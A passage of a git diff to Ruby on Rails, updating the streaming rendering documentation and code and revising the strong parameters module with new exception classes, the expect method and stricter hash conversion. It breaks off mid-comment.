-  # Streaming can be added to a given template easily, all you need to do is
-  # to pass the :stream option.
+  # In such actions, you want to delay queries execution as much as you can. For
+  # example, imagine the following `dashboard` action:
   #
-  #   class PostsController
-  #     def index
+  #     def dashboard
   #       @posts = Post.all
-  #       render stream: true
+  #       @pages = Page.all
+  #       @articles = Article.all
   #     end
-  #   end
-  #
-  # == When to use streaming
-  #
-  # Streaming may be considered to be overkill for lightweight actions like
-  # +new+ or +edit+. The real benefit of streaming is on expensive actions
-  # that, for example, do a lot of queries on the database.
-  #
-  # In such actions, you want to delay queries execution as much as you can.
-  # For example, imagine the following +dashboard+ action:
-  #
-  #   def dashboard
-  #     @posts = Post.all
-  #     @pages = Page.all
-  #     @articles = Article.all
-  #   end
   #
   # Most of the queries here are happening in the controller. In order to benefit
   # from streaming you would want to rewrite it as:
   #
-  #   def dashboard
-  #     # Allow lazy execution of the queries
-  #     @posts = Post.all
-  #     @pages = Page.all
-  #     @articles = Article.all
-  #     render stream: true
-  #   end
+  #     def dashboard
+  #       # Allow lazy execution of the queries
+  #       @posts = Post.all
+  #       @pages = Page.all
+  #       @articles = Article.all
+  #       render stream: true
+  #     end
   #
-  # Notice that :stream only works with templates. Rendering :json
-  # or :xml with :stream won't work.
+  # Notice that `:stream` only works with templates. Rendering `:json` or `:xml`
+  # with `:stream` won't work.
   #
-  # == Communication between layout and template
+  # ## Communication between layout and template
   #
-  # When streaming, rendering happens top-down instead of inside-out.
-  # Rails starts with the layout, and the template is rendered later,
-  # when its +yield+ is reached.
+  # When streaming, rendering happens top-down instead of inside-out. Rails starts
+  # with the layout, and the template is rendered later, when its `yield` is
+  # reached.
   #
-  # This means that, if your application currently relies on instance
-  # variables set in the template to be used in the layout, they won't
-  # work once you move to streaming. The proper way to communicate
-  # between layout and template, regardless of whether you use streaming
-  # or not, is by using +content_for+, +provide+ and +yield+.
+  # This means that, if your application currently relies on instance variables
+  # set in the template to be used in the layout, they won't work once you move to
+  # streaming. The proper way to communicate between layout and template,
+  # regardless of whether you use streaming or not, is by using `content_for`,
+  # `provide`, and `yield`.
   #
-  # Take a simple example where the layout expects the template to tell
-  # which title to use:
+  # Take a simple example where the layout expects the template to tell which
+  # title to use:
   #
-  #   <html>
-  #     <head><title><%= yield :title %></title></head>
-  #     <body><%= yield %></body>
-  #   </html>
+  #     <html>
+  #       <head><title><%= yield :title %></title></head>
+  #       <body><%= yield %></body>
+  #     </html>
   #
-  # You would use +content_for+ in your template to specify the title:
+  # You would use `content_for` in your template to specify the title:
   #
-  #   <%= content_for :title, "Main" %>
-  #   Hello
+  #     <%= content_for :title, "Main" %>
+  #     Hello
   #
   # And the final result would be:
   #
-  #   <html>
-  #     <head><title>Main</title></head>
-  #     <body>Hello</body>
-  #   </html>
+  #     <html>
+  #       <head><title>Main</title></head>
+  #       <body>Hello</body>
+  #     </html>
   #
-  # However, if +content_for+ is called several times, the final result
-  # would have all calls concatenated. For instance, if we have the following
-  # template:
+  # However, if `content_for` is called several times, the final result would have
+  # all calls concatenated. For instance, if we have the following template:
   #
-  #   <%= content_for :title, "Main" %>
-  #   Hello
-  #   <%= content_for :title, " page" %>
+  #     <%= content_for :title, "Main" %>
+  #     Hello
+  #     <%= content_for :title, " page" %>
   #
   # The final result would be:
   #
-  #   <html>
-  #     <head><title>Main page</title></head>
-  #     <body>Hello</body>
-  #   </html>
-  #
-  # This means that, if you have <code>yield :title</code> in your layout
-  # and you want to use streaming, you would have to render the whole template
-  # (and eventually trigger all queries) before streaming the title and all
-  # assets, which kills the purpose of streaming. For this purpose, you can use
-  # a helper called +provide+ that does the same as +content_for+ but tells the
-  # layout to stop searching for other entries and continue rendering.
-  #
-  # For instance, the template above using +provide+ would be:
-  #
-  #   <%= provide :title, "Main" %>
-  #   Hello
-  #   <%= content_for :title, " page" %>
+  #     <html>
+  #       <head><title>Main page</title></head>
+  #       <body>Hello</body>
+  #     </html>
   #
-  # Giving:
+  # This means that, if you have `yield :title` in your layout and you want to use
+  # streaming, you would have to render the whole template (and eventually trigger
+  # all queries) before streaming the title and all assets, which defeats the
+  # purpose of streaming. Alternatively, you can use a helper called `provide`
+  # that does the same as `content_for` but tells the layout to stop searching for
+  # other entries and continue rendering.
   #
-  #   <html>
-  #     <head><title>Main</title></head>
-  #     <body>Hello</body>
-  #   </html>
+  # For instance, the template above using `provide` would be:
   #
-  # That said, when streaming, you need to properly check your templates
-  # and choose when to use +provide+ and +content_for+.
+  #     <%= provide :title, "Main" %>
+  #     Hello
+  #     <%= content_for :title, " page" %>
   #
-  # == Headers, cookies, session and flash
+  # Resulting in:
   #
-  # When streaming, the HTTP headers are sent to the client right before
-  # it renders the first line. This means that, modifying headers, cookies,
-  # session or flash after the template starts rendering will not propagate
-  # to the client.
+  #     <html>
+  #       <head><title>Main</title></head>
+  #       <body>Hello</body>
+  #     </html>
   #
-  # == Middlewares
+  # That said, when streaming, you need to properly check your templates and
+  # choose when to use `provide` and `content_for`.
   #
-  # Middlewares that need to manipulate the body won't work with streaming.
-  # You should disable those middlewares whenever streaming in development
-  # or production. For instance, <tt>Rack::Bug</tt> won't work when streaming as it
-  # needs to inject contents in the HTML body.
+  # See also ActionView::Helpers::CaptureHelper for more information.
   #
-  # Also <tt>Rack::Cache</tt> won't work with streaming as it does not support
-  # streaming bodies yet. Whenever streaming Cache-Control is automatically
-  # set to "no-cache".
+  # ## Headers, cookies, session, and flash
   #
-  # == Errors
+  # When streaming, the HTTP headers are sent to the client right before it
+  # renders the first line. This means that, modifying headers, cookies, session
+  # or flash after the template starts rendering will not propagate to the client.
   #
-  # When it comes to streaming, exceptions get a bit more complicated. This
-  # happens because part of the template was already rendered and streamed to
-  # the client, making it impossible to render a whole exception page.
-  #
-  # Currently, when an exception happens in development or production, Rails
-  # will automatically stream to the client:
-  #
-  #   "><script>window.location = "/500.html"</script></html>
-  #
-  # The first two characters (">) are required in case the exception happens
-  # while rendering attributes for a given tag. You can check the real cause
-  # for the exception in your logger.
-  #
-  # == Web server support
-  #
-  # Not all web servers support streaming out-of-the-box. You need to check
-  # the instructions for each of them.
-  #
-  # ==== Unicorn
+  # ## Middlewares
   #
-  # Unicorn supports streaming but it needs to be configured. For this, you
-  # need to create a config file as follow:
+  # Middlewares that need to manipulate the body won't work with streaming. You
+  # should disable those middlewares whenever streaming in development or
+  # production. For instance, `Rack::Bug` won't work when streaming as it needs to
+  # inject contents in the HTML body.
   #
-  #   # unicorn.config.rb
-  #   listen 3000, tcp_nopush: false
+  # Also `Rack::Cache` won't work with streaming as it does not support streaming
+  # bodies yet. Whenever streaming `Cache-Control` is automatically set to
+  # "no-cache".
   #
-  # And use it on initialization:
+  # ## Errors
   #
-  #   unicorn_rails --config-file unicorn.config.rb
+  # When it comes to streaming, exceptions get a bit more complicated. This
+  # happens because part of the template was already rendered and streamed to the
+  # client, making it impossible to render a whole exception page.
   #
-  # You may also want to configure other parameters like <tt>:tcp_nodelay</tt>.
-  # Please check its documentation for more information: http://unicorn.bogomips.org/Unicorn/Configurator.html#method-i-listen
+  # Currently, when an exception happens in development or production, Rails will
+  # automatically stream to the client:
   #
-  # If you are using Unicorn with NGINX, you may need to tweak NGINX.
-  # Streaming should work out of the box on Rainbows.
+  #     "><script>window.location = "/500.html"</script></html>
   #
-  # ==== Passenger
+  # The first two characters (`">`) are required in case the exception happens
+  # while rendering attributes for a given tag. You can check the real cause for
+  # the exception in your logger.
   #
-  # To be described.
+  # ## Web server support
   #
+  # Rack 3+ compatible servers all support streaming.
   module Streaming
-    extend ActiveSupport::Concern
-
     private
-
-      # Set proper cache control and transfer encoding when streaming
-      def _process_options(options)
-        super
-        if options[:stream]
-          if request.version == "HTTP/1.0"
-            options.delete(:stream)
-          else
-            headers["Cache-Control"] ||= "no-cache"
-            headers["Transfer-Encoding"] = "chunked"
-            headers.delete("Content-Length")
-          end
-        end
-      end
-
-      # Call render_body if we are streaming instead of usual +render+.
+      # Call render_body if we are streaming instead of usual `render`.
       def _render_template(options)
         if options.delete(:stream)
-          Rack::Chunked::Body.new view_renderer.render_body(view_context, options)
+          # It shouldn't be necessary to set this.
+          headers["cache-control"] ||= "no-cache"
+
+          view_renderer.render_body(view_context, options)
         else
           super
         end
diff --git a/actionpack/lib/action_controller/metal/strong_parameters.rb b/actionpack/lib/action_controller/metal/strong_parameters.rb
index d304dcf46801b..3180e8e3b38df 100644
--- a/actionpack/lib/action_controller/metal/strong_parameters.rb
+++ b/actionpack/lib/action_controller/metal/strong_parameters.rb
@@ -1,39 +1,61 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "active_support/core_ext/hash/indifferent_access"
-require "active_support/core_ext/hash/transform_values"
 require "active_support/core_ext/array/wrap"
 require "active_support/core_ext/string/filters"
 require "active_support/core_ext/object/to_query"
-require "active_support/rescuable"
+require "active_support/deep_mergeable"
 require "action_dispatch/http/upload"
 require "rack/test"
 require "stringio"
-require "set"
 require "yaml"
 
 module ActionController
   # Raised when a required parameter is missing.
   #
-  #   params = ActionController::Parameters.new(a: {})
-  #   params.fetch(:b)
-  #   # => ActionController::ParameterMissing: param is missing or the value is empty: b
-  #   params.require(:a)
-  #   # => ActionController::ParameterMissing: param is missing or the value is empty: a
+  #     params = ActionController::Parameters.new(a: {})
+  #     params.fetch(:b)
+  #     # => ActionController::ParameterMissing: param is missing or the value is empty or invalid: b
+  #     params.require(:a)
+  #     # => ActionController::ParameterMissing: param is missing or the value is empty or invalid: a
+  #     params.expect(a: [])
+  #     # => ActionController::ParameterMissing: param is missing or the value is empty or invalid: a
   class ParameterMissing < KeyError
-    attr_reader :param # :nodoc:
+    attr_reader :param, :keys # :nodoc:
 
-    def initialize(param) # :nodoc:
+    def initialize(param, keys = nil) # :nodoc:
       @param = param
-      super("param is missing or the value is empty: #{param}")
+      @keys  = keys
+      super("param is missing or the value is empty or invalid: #{param}")
     end
+
+    if defined?(DidYouMean::Correctable) && defined?(DidYouMean::SpellChecker)
+      include DidYouMean::Correctable # :nodoc:
+
+      def corrections # :nodoc:
+        @corrections ||= DidYouMean::SpellChecker.new(dictionary: keys).correct(param.to_s)
+      end
+    end
+  end
+
+  # Raised from `expect!` when an expected parameter is missing or is of an
+  # incompatible type.
+  #
+  #     params = ActionController::Parameters.new(a: {})
+  #     params.expect!(:a)
+  #     # => ActionController::ExpectedParameterMissing: param is missing or the value is empty or invalid: a
+  class ExpectedParameterMissing < ParameterMissing
   end
 
   # Raised when a supplied parameter is not expected and
-  # ActionController::Parameters.action_on_unpermitted_parameters
-  # is set to <tt>:raise</tt>.
+  # ActionController::Parameters.action_on_unpermitted_parameters is set to
+  # `:raise`.
   #
-  #   params = ActionController::Parameters.new(a: "123", b: "456")
-  #   params.permit(:c)
-  #   # => ActionController::UnpermittedParameters: found unpermitted parameters: :a, :b
+  #     params = ActionController::Parameters.new(a: "123", b: "456")
+  #     params.permit(:c)
+  #     # => ActionController::UnpermittedParameters: found unpermitted parameters: :a, :b
   class UnpermittedParameters < IndexError
     attr_reader :params # :nodoc:
 
@@ -43,198 +65,406 @@ def initialize(params) # :nodoc:
     end
   end
 
-  # == Action Controller \Parameters
+  # Raised when a Parameters instance is not marked as permitted and an operation
+  # to transform it to hash is called.
   #
-  # Allows you to choose which attributes should be whitelisted for mass updating
+  #     params = ActionController::Parameters.new(a: "123", b: "456")
+  #     params.to_h
+  #     # => ActionController::UnfilteredParameters: unable to convert unpermitted parameters to hash
+  class UnfilteredParameters < ArgumentError
+    def initialize # :nodoc:
+      super("unable to convert unpermitted parameters to hash")
+    end
+  end
+
+  # Raised when initializing Parameters with keys that aren't strings or symbols.
+  #
+  #     ActionController::Parameters.new(123 => 456)
+  #     # => ActionController::InvalidParameterKey: all keys must be Strings or Symbols, got: Integer
+  class InvalidParameterKey < ArgumentError
+  end
+
+  # # Action Controller Parameters
+  #
+  # Allows you to choose which attributes should be permitted for mass updating
   # and thus prevent accidentally exposing that which shouldn't be exposed.
-  # Provides two methods for this purpose: #require and #permit. The former is
-  # used to mark parameters as required. The latter is used to set the parameter
-  # as permitted and limit which attributes should be allowed for mass updating.
-  #
-  #   params = ActionController::Parameters.new({
-  #     person: {
-  #       name: 'Francesco',
-  #       age:  22,
-  #       role: 'admin'
-  #     }
-  #   })
-  #
-  #   permitted = params.require(:person).permit(:name, :age)
-  #   permitted            # => <ActionController::Parameters {"name"=>"Francesco", "age"=>22} permitted: true>
-  #   permitted.permitted? # => true
-  #
-  #   Person.first.update!(permitted)
-  #   # => #<Person id: 1, name: "Francesco", age: 22, role: "user">
-  #
-  # It provides two options that controls the top-level behavior of new instances:
-  #
-  # * +permit_all_parameters+ - If it's +true+, all the parameters will be
-  #   permitted by default. The default is +false+.
-  # * +action_on_unpermitted_parameters+ - Allow to control the behavior when parameters
-  #   that are not explicitly permitted are found. The values can be +false+ to just filter them
-  #   out, <tt>:log</tt> to additionally write a message on the logger, or <tt>:raise</tt> to raise
-  #   ActionController::UnpermittedParameters exception. The default value is <tt>:log</tt>
-  #   in test and development environments, +false+ otherwise.
+  #
+  # Provides methods for filtering and requiring params:
+  #
+  # *   `expect` to safely permit and require parameters in one step.
+  # *   `permit` to filter params for mass assignment.
+  # *   `require` to require a parameter or raise an error.
   #
   # Examples:
   #
-  #   params = ActionController::Parameters.new
-  #   params.permitted? # => false
+  #     params = ActionController::Parameters.new({
+  #       person: {
+  #         name: "Francesco",
+  #         age:  22,
+  #         role: "admin"
+  #       }
+  #     })
+  #
+  #     permitted = params.expect(person: [:name, :age])
+  #     permitted # => #<ActionController::Parameters {"name"=>"Francesco", "age"=>22} permitted: true>
+  #
+  #     Person.first.update!(permitted)
+  #     # => #<Person id: 1, name: "Francesco", age: 22, role: "user">
   #
-  #   ActionController::Parameters.permit_all_parameters = true
+  # Parameters provides two options that control the top-level behavior of new
+  # instances:
   #
-  #   params = ActionController::Parameters.new
-  #   params.permitted? # => true
+  # *   `permit_all_parameters` - If it's `true`, all the parameters will be
+  #     permitted by default. The default is `false`.
+  # *   `action_on_unpermitted_parameters` - Controls behavior when parameters
+  #     that are not explicitly permitted are found. The default value is `:log`
+  #     in test and development environments, `false` otherwise. The values can
+  #     be:
+  #     *   `false` to take no action.
+  #     *   `:log` to emit an `ActiveSupport::Notifications.instrument` event on
+  #         the `unpermitted_parameters.action_controller` topic and log at the
+  #         DEBUG level.
+  #     *   `:raise` to raise an ActionController::UnpermittedParameters
+  #         exception.
+  #
+  # Examples:
   #
-  #   params = ActionController::Parameters.new(a: "123", b: "456")
-  #   params.permit(:c)
-  #   # => <ActionController::Parameters {} permitted: true>
+  #     params = ActionController::Parameters.new
+  #     params.permitted? # => false
   #
-  #   ActionController::Parameters.action_on_unpermitted_parameters = :raise
+  #     ActionController::Parameters.permit_all_parameters = true
   #
-  #   params = ActionController::Parameters.new(a: "123", b: "456")
-  #   params.permit(:c)
-  #   # => ActionController::UnpermittedParameters: found unpermitted keys: a, b
+  #     params = ActionController::Parameters.new
+  #     params.permitted? # => true
+  #
+  #     params = ActionController::Parameters.new(a: "123", b: "456")
+  #     params.permit(:c)
+  #     # => #<ActionController::Parameters {} permitted: true>
+  #
+  #     ActionController::Parameters.action_on_unpermitted_parameters = :raise
+  #
+  #     params = ActionController::Parameters.new(a: "123", b: "456")
+  #     params.permit(:c)
+  #     # => ActionController::UnpermittedParameters: found unpermitted keys: a, b
   #
   # Please note that these options *are not thread-safe*. In a multi-threaded
   # environment they should only be set once at boot-time and never mutated at
   # runtime.
   #
-  # You can fetch values of <tt>ActionController::Parameters</tt> using either
-  # <tt>:key</tt> or <tt>"key"</tt>.
+  # You can fetch values of `ActionController::Parameters` using either `:key` or
+  # `"key"`.
   #
-  #   params = ActionController::Parameters.new(key: 'value')
-  #   params[:key]  # => "value"
-  #   params["key"] # => "value"
+  #     params = ActionController::Parameters.new(key: "value")
+  #     params[:key]  # => "value"
+  #     params["key"] # => "value"
   class Parameters
-    cattr_accessor :permit_all_parameters, instance_accessor: false
-    self.permit_all_parameters = false
+    include ActiveSupport::DeepMergeable
+
+    cattr_accessor :permit_all_parameters, instance_accessor: false, default: false
 
     cattr_accessor :action_on_unpermitted_parameters, instance_accessor: false
 
-    delegate :keys, :key?, :has_key?, :values, :has_value?, :value?, :empty?, :include?,
-      :as_json, to: :@parameters
+    ##
+    # :method: deep_merge
+    #
+    # :call-seq:
+    #     deep_merge(other_hash, &block)
+    #
+    # Returns a new `ActionController::Parameters` instance with `self` and
+    # `other_hash` merged recursively.
+    #
+    # Like with `Hash#merge` in the standard library, a block can be provided to
+    # merge values.
+    #
+    #--
+    # Implemented by ActiveSupport::DeepMergeable#deep_merge.
 
-    # By default, never raise an UnpermittedParameters exception if these
-    # params are present. The default includes both 'controller' and 'action'
-    # because they are added by Rails and should be of no concern. One way
-    # to change these is to specify `always_permitted_parameters` in your
-    # config. For instance:
+    ##
+    # :method: deep_merge!
+    #
+    # :call-seq:
+    #     deep_merge!(other_hash, &block)
     #
-    #    config.always_permitted_parameters = %w( controller action format )
-    cattr_accessor :always_permitted_parameters
-    self.always_permitted_parameters = %w( controller action )
+    # Same as `#deep_merge`, but modifies `self`.
+    #
+    #--
+    # Implemented by ActiveSupport::DeepMergeable#deep_merge!.
 
-    # Returns a new instance of <tt>ActionController::Parameters</tt>.
-    # Also, sets the +permitted+ attribute to the default value of
-    # <tt>ActionController::Parameters.permit_all_parameters</tt>.
+    ##
+    # :method: as_json
+    #
+    # :call-seq:
+    #     as_json(options=nil)
     #
-    #   class Person < ActiveRecord::Base
-    #   end
+    # Returns a hash that can be used as the JSON representation for the parameters.
+
+    ##
+    # :method: each_key
     #
-    #   params = ActionController::Parameters.new(name: 'Francesco')
-    #   params.permitted?  # => false
-    #   Person.new(params) # => ActiveModel::ForbiddenAttributesError
+    # :call-seq:
+    #     each_key(&block)
     #
-    #   ActionController::Parameters.permit_all_parameters = true
+    # Calls block once for each key in the parameters, passing the key. If no block
+    # is given, an enumerator is returned instead.
+
+    ##
+    # :method: empty?
     #
-    #   params = ActionController::Parameters.new(name: 'Francesco')
-    #   params.permitted?  # => true
-    #   Person.new(params) # => #<Person id: nil, name: "Francesco">
-    def initialize(parameters = {})
+    # :call-seq:
+    #     empty?()
+    #
+    # Returns true if the parameters have no key/value pairs.
+
+    ##
+    # :method: exclude?
+    #
+    # :call-seq:
+    #     exclude?(key)
+    #
+    # Returns true if the given key is not present in the parameters.
+
+    ##
+    # :method: include?
+    #
+    # :call-seq:
+    #     include?(key)
+    #
+    # Returns true if the given key is present in the parameters.
+
+    ##
+    # :method: keys
+    #
+    # :call-seq:
+    #     keys()
+    #
+    # Returns a new array of the keys of the parameters.
+
+    ##
+    # :method: to_s
+    #
+    # :call-seq:
+    #     to_s()
+    #
+    # Returns the content of the parameters as a string.
+
+    delegate :keys, :empty?, :exclude?, :include?,
+      :as_json, :to_s, :each_key, to: :@parameters
+
+    alias_method :has_key?, :include?
+    alias_method :key?, :include?
+    alias_method :member?, :include?
+
+    # By default, never raise an UnpermittedParameters exception if these params are
+    # present. The default includes both 'controller' and 'action' because they are
+    # added by Rails and should be of no concern. One way to change these is to
+    # specify `always_permitted_parameters` in your config. For instance:
+    #
+    #     config.action_controller.always_permitted_parameters = %w( controller action format )
+    cattr_accessor :always_permitted_parameters, default: %w( controller action )
+
+    class << self
+      def nested_attribute?(key, value) # :nodoc:
+        /\A-?\d+\z/.match?(key) && (value.is_a?(Hash) || value.is_a?(Parameters))
+      end
+    end
+
+    # Returns a new `ActionController::Parameters` instance. Also, sets the
+    # `permitted` attribute to the default value of
+    # `ActionController::Parameters.permit_all_parameters`.
+    #
+    #     class Person < ActiveRecord::Base
+    #     end
+    #
+    #     params = ActionController::Parameters.new(name: "Francesco")
+    #     params.permitted?  # => false
+    #     Person.new(params) # => ActiveModel::ForbiddenAttributesError
+    #
+    #     ActionController::Parameters.permit_all_parameters = true
+    #
+    #     params = ActionController::Parameters.new(name: "Francesco")
+    #     params.permitted?  # => true
+    #     Person.new(params) # => #<Person id: nil, name: "Francesco">
+    def initialize(parameters = {}, logging_context = {})
+      parameters.each_key do |key|
+        unless key.is_a?(String) || key.is_a?(Symbol)
+          raise InvalidParameterKey, "all keys must be Strings or Symbols, got: #{key.class}"
+        end
+      end
+
       @parameters = parameters.with_indifferent_access
+      @logging_context = logging_context
       @permitted = self.class.permit_all_parameters
     end
 
-    # Returns true if another +Parameters+ object contains the same content and
+    # Returns true if another `Parameters` object contains the same content and
     # permitted flag.
     def ==(other)
       if other.respond_to?(:permitted?)
         permitted? == other.permitted? && parameters == other.parameters
       else
-        @parameters == other
+        super
       end
     end
 
-    # Returns a safe <tt>ActiveSupport::HashWithIndifferentAccess</tt>
-    # representation of this parameter with all unpermitted keys removed.
+    def eql?(other)
+      self.class == other.class &&
+        permitted? == other.permitted? &&
+        parameters.eql?(other.parameters)
+    end
+
+    def hash
+      [self.class, @parameters, @permitted].hash
+    end
+
+    def deconstruct_keys(keys)
+      slice(*keys).each.with_object({}) { |(key, value), hash| hash.merge!(key.to_sym => value) }
+    end
+
+    # Returns a safe ActiveSupport::HashWithIndifferentAccess representation of the
+    # parameters with all unpermitted keys removed.
     #
-    #   params = ActionController::Parameters.new({
-    #     name: 'Senjougahara Hitagi',
-    #     oddity: 'Heavy stone crab'
-    #   })
-    #   params.to_h # => {}
+    #     params = ActionController::Parameters.new({
+    #       name: "Senjougahara Hitagi",
+    #       oddity: "Heavy stone crab"
+    #     })
+    #     params.to_h
+    #     # => ActionController::UnfilteredParameters: unable to convert unpermitted parameters to hash
     #
-    #   safe_params = params.permit(:name)
-    #   safe_params.to_h # => {"name"=>"Senjougahara Hitagi"}
-    def to_h
+    #     safe_params = params.permit(:name)
+    #     safe_params.to_h # => {"name"=>"Senjougahara Hitagi"}
+    def to_h(&block)
       if permitted?
-        convert_parameters_to_hashes(@parameters, :to_h)
+        convert_parameters_to_hashes(@parameters, :to_h, &block)
       else
-        slice(*self.class.always_permitted_parameters).permit!.to_h
+        raise UnfilteredParameters
       end
     end
 
-    # Returns an unsafe, unfiltered
-    # <tt>ActiveSupport::HashWithIndifferentAccess</tt> representation of this
-    # parameter.
+    # Returns a safe `Hash` representation of the parameters with all unpermitted
+    # keys removed.
+    #
+    #     params = ActionController::Parameters.new({
+    #       name: "Senjougahara Hitagi",
+    #       oddity: "Heavy stone crab"
+    #     })
+    #     params.to_hash
+    #     # => ActionController::UnfilteredParameters: unable to convert unpermitted parameters to hash
+    #
+    #     safe_params = params.permit(:name)
+    #     safe_params.to_hash # => {"name"=>"Senjougahara Hitagi"}
+    def to_hash
+      to_h.to_hash
+    end
+
+    # Returns a string representation of the receiver suitable for use as a URL
+    # query string:
+    #
+    #     params = ActionController::Parameters.new({
+    #       name: "David",
+    #       nationality: "Danish"
+    #     })
+    #     params.to_query
+    #     # => ActionController::UnfilteredParameters: unable to convert unpermitted parameters to hash
+    #
+    #     safe_params = params.permit(:name, :nationality)
+    #     safe_params.to_query
+    #     # => "name=David&nationality=Danish"
+    #
+    # An optional namespace can be passed to enclose key names:
+    #
+    #     params = ActionController::Parameters.new({
+    #       name: "David",
+    #       nationality: "Danish"
+    #     })
+    #     safe_params = params.permit(:name, :nationality)
+    #     safe_params.to_query("user")
+    #     # => "user%5Bname%5D=David&user%5Bnationality%5D=Danish"
+    #
+    # The string pairs `"key=value"` that conform the query string are sorted
+    # lexicographically in ascending order.
+    def to_query(*args)
+      to_h.to_query(*args)
+    end
+    alias_method :to_param, :to_query
+
+    # Returns an unsafe, unfiltered ActiveSupport::HashWithIndifferentAccess
+    # representation of the parameters.
     #
-    #   params = ActionController::Parameters.new({
-    #     name: 'Senjougahara Hitagi',
-    #     oddity: 'Heavy stone crab'
-    #   })
-    #   params.to_unsafe_h
-    #   # => {"name"=>"Senjougahara Hitagi", "oddity" => "Heavy stone crab"}
+    #     params = ActionController::Parameters.new({
+    #       name: "Senjougahara Hitagi",
+    #       oddity: "Heavy stone crab"
+    #     })
+    #     params.to_unsafe_h
+    #     # => {"name"=>"Senjougahara Hitagi", "oddity" => "Heavy stone crab"}
     def to_unsafe_h
       convert_parameters_to_hashes(@parameters, :to_unsafe_h)
     end
     alias_method :to_unsafe_hash, :to_unsafe_h
 
-    # Convert all hashes in values into parameters, then yield each pair in
-    # the same way as <tt>Hash#each_pair</tt>
+    # Convert all hashes in values into parameters, then yield each pair in the same
+    # way as `Hash#each_pair`.
     def each_pair(&block)
+      return to_enum(__callee__) unless block_given?
       @parameters.each_pair do |key, value|
-        yield key, convert_hashes_to_parameters(key, value)
+        yield [key, convert_hashes_to_parameters(key, value)]
       end
+
+      self
     end
     alias_method :each, :each_pair
 
+    # Convert all hashes in values into parameters, then yield each value in the
+    # same way as `Hash#each_value`.
+    def each_value(&block)
+      return to_enum(:each_value) unless block_given?
+      @parameters.each_pair do |key, value|
+        yield convert_hashes_to_parameters(key, value)
+      end
+
+      self
+    end
+
+    # Returns a new array of the values of the parameters.
+    def values
+      to_enum(:each_value).to_a
+    end
+
     # Attribute that keeps track of converted arrays, if any, to avoid double
-    # looping in the common use case permit + mass-assignment. Defined in a
-    # method to instantiate it only if needed.
+    # looping in the common use case permit + mass-assignment. Defined in a method
+    # to instantiate it only if needed.
     #
-    # Testing membership still loops, but it's going to be faster than our own
-    # loop that converts values. Also, we are not going to build a new array
-    # object per fetch.
+    # Testing membership still loops, but it's going to be faster than our own loop
+    # that converts values. Also, we are not going to build a new array object per
+    # fetch.
     def converted_arrays
       @converted_arrays ||= Set.new
     end
 
-    # Returns +true+ if the parameter is permitted, +false+ otherwise.
+    # Returns `true` if the parameter is permitted, `false` otherwise.
     #
-    #   params = ActionController::Parameters.new
-    #   params.permitted? # => false
-    #   params.permit!
-    #   params.permitted? # => true
+    #     params = ActionController::Parameters.new
+    #     params.permitted? # => false
+    #     params.permit!
+    #     params.permitted? # => true
     def permitted?
       @permitted
     end
 
-    # Sets the +permitted+ attribute to +true+. This can be used to pass
-    # mass assignment. Returns +self+.
+    # Sets the `permitted` attribute to `true`. This can be used to pass mass
+    # assignment. Returns `self`.
     #
-    #   class Person < ActiveRecord::Base
-    #   end
+    #     class Person < ActiveRecord::Base
+    #     end
     #
-    #   params = ActionController::Parameters.new(name: 'Francesco')
-    #   params.permitted?  # => false
-    #   Person.new(params) # => ActiveModel::ForbiddenAttributesError
-    #   params.permit!
-    #   params.permitted?  # => true
-    #   Person.new(params) # => #<Person id: nil, name: "Francesco">
+    #     params = ActionController::Parameters.new(name: "Francesco")
+    #     params.permitted?  # => false
+    #     Person.new(params) # => ActiveModel::ForbiddenAttributesError
+    #     params.permit!
+    #     params.permitted?  # => true
+    #     Person.new(params) # => #<Person id: nil, name: "Francesco">
     def permit!
       each_pair do |key, value|
-        Array.wrap(value).each do |v|
+        Array.wrap(value).flatten.each do |v|
           v.permit! if v.respond_to? :permit!
         end
       end
@@ -245,318 +475,493 @@ def permit!
 
     # This method accepts both a single key and an array of keys.
     #
-    # When passed a single key, if it exists and its associated value is
-    # either present or the singleton +false+, returns said value:
+    # When passed a single key, if it exists and its associated value is either
+    # present or the singleton `false`, returns said value:
     #
-    #   ActionController::Parameters.new(person: { name: 'Francesco' }).require(:person)
-    #   # => <ActionController::Parameters {"name"=>"Francesco"} permitted: false>
+    #     ActionController::Parameters.new(person: { name: "Francesco" }).require(:person)
+    #     # => #<ActionController::Parameters {"name"=>"Francesco"} permitted: false>
     #
-    # Otherwise raises <tt>ActionController::ParameterMissing</tt>:
+    # Otherwise raises ActionController::ParameterMissing:
     #
-    #   ActionController::Parameters.new.require(:person)
-    #   # ActionController::ParameterMissing: param is missing or the value is empty: person
+    #     ActionController::Parameters.new.require(:person)
+    #     # ActionController::ParameterMissing: param is missing or the value is empty or invalid: person
     #
-    #   ActionController::Parameters.new(person: nil).require(:person)
-    #   # ActionController::ParameterMissing: param is missing or the value is empty: person
+    #     ActionController::Parameters.new(person: nil).require(:person)
+    #     # ActionController::ParameterMissing: param is missing or the value is empty or invalid: person
     #
-    #   ActionController::Parameters.new(person: "\t").require(:person)
-    #   # ActionController::ParameterMissing: param is missing or the value is empty: person
+    #     ActionController::Parameters.new(person: "\t").require(:person)
+    #     # ActionController::ParameterMissing: param is missing or the value is empty or invalid: person
     #
-    #   ActionController::Parameters.new(person: {}).require(:person)
-    #   # ActionController::ParameterMissing: param is missing or the value is empty: person
+    #     ActionController::Parameters.new(person: {}).require(:person)
+    #     # ActionController::ParameterMissing: param is missing or the value is empty or invalid: person
     #
-    # When given an array of keys, the method tries to require each one of them
-    # in order. If it succeeds, an array with the respective return values is
-    # returned:
+    # When given an array of keys, the method tries to require each one of them in
+    # order. If it succeeds, an array with the respective return values is returned:
     #
-    #   params = ActionController::Parameters.new(user: { ... }, profile: { ... })
-    #   user_params, profile_params = params.require([:user, :profile])
+    #     params = ActionController::Parameters.new(user: { ... }, profile: { ... })
+    #     user_params, profile_params = params.require([:user, :profile])
     #
     # Otherwise, the method re-raises the first exception found:
     #
-    #   params = ActionController::Parameters.new(user: {}, profile: {})
-    #   user_params, profile_params = params.require([:user, :profile])
-    #   # ActionController::ParameterMissing: param is missing or the value is empty: user
+    #     params = ActionController::Parameters.new(user: {}, profile: {})
+    #     user_params, profile_params = params.require([:user, :profile])
+    #     # ActionController::ParameterMissing: param is missing or the value is empty or invalid: user
     #
-    # Technically this method can be used to fetch terminal values:
+    # This method is not recommended for fetching terminal values because it does
+    # not permit the values. For example, this can cause problems:
     #
-    #   # CAREFUL
-    #   params = ActionController::Parameters.new(person: { name: 'Finn' })
-    #   name = params.require(:person).require(:name) # CAREFUL
+    #     # CAREFUL
+    #     params = ActionController::Parameters.new(person: { name: "Finn" })
+    #     name = params.require(:person).require(:name) # CAREFUL
     #
